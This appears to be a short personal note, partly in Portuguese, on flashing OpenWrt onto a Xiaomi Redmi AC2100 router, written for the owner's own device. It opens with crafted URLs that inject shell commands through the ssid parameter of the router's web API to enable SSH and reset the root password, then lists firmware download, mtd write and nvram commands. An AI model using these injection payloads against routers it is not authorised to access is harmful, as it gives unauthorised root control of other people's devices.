Categorias
great stuff

(nvram set ssh_en=1;nvram commit)
http://192.168.31.1/cgi-bin/luci/;stok=1c249158807034e4341dfdc1ad7b365d/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3Bnvram%20set%20ssh%5Fen%3D1%3B%20nvram%20commit%3B

(sed -i ‘s/channel=.*/channel=”debug”/g’ /etc/init.d/dropbear)
http://192.168.31.1/cgi-bin/luci/;stok=1c249158807034e4341dfdc1ad7b365d/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3Bsed%20-i%20’s/channel=.*/channel=%5C%22debug%5C%22/g’%20/etc/init.d/dropbear%3B

(/etc/init.d/dropbear start)
http://192.168.31.1/cgi-bin/luci/;stok=1c249158807034e4341dfdc1ad7b365d/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B/etc/init.d/dropbear%20start%3B

http://192.168.31.1/cgi-bin/luci/;stok=1c249158807034e4341dfdc1ad7b365d/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Aecho%20-e%20%27%5Cn%27%20%7C%20passwd%20root%0A

 

No note subir o http server para baixar as imagens para o roteador

sudo python -m SimpleHTTPServer

ssh root@192.168.31.1

cd /tmp

wget http://192.168.31.128:8000/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin

wget http://192.168.31.128:8000/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin

mtd write openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin rootfs0

mtd write openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin kernel1

 

nvram set uart_en=1

nvram set bootdelay=5

nvram set flag_try_sys1_failed=1

nvram commit

reboot

pelo cabo ethernet

ssh root@192.168.1.1

opkg update

opkg install luci